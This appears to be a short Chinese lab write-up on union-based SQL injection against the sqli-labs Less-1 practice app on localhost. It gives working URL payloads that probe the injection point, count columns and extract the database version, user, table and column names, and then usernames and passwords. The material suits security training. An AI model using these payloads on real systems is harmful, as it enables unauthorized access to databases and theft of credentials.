SQL注入第一篇

SQL注入：将SQL语句通过变量传递给web内部的查询语句。

第一节回显注入练习：sqli-labs-Less-1

1、判断注入点

http://127.0.0.1:8880/Less-1/?id=1%27%20and%201=1%20--+ 

页面正常

http://127.0.0.1:8880/Less-1/?id=1%27%20and%201=2%20--+

页面异常

 猜解列数：
order by x;--按照第几列进行排序，直到异常

报错回显：

在2和3位置上获取信息：

数据库版本：version() 5.7.26
数据库名字：database() security
数据库用户：user() sqli@localhost
操作系统：@@version_compile_os Win64

获取表名：

http://127.0.0.1:8880/Less-1/?id=1%27%20and%201=2%20union%20select%201,%20group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

获取列名：

http://127.0.0.1:8880/Less-1/?id=1%27%20and%201=2%20union%20select%201,%20group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=%27security%27--+

获取users表里的信息：

http://127.0.0.1:8880/Less-1/?id=1%27%20and%201=2%20union%20select%201,username,password%20from%20security.users%20limit%200,1--+

 

 sqli-labs-Less-2与Less-1类似。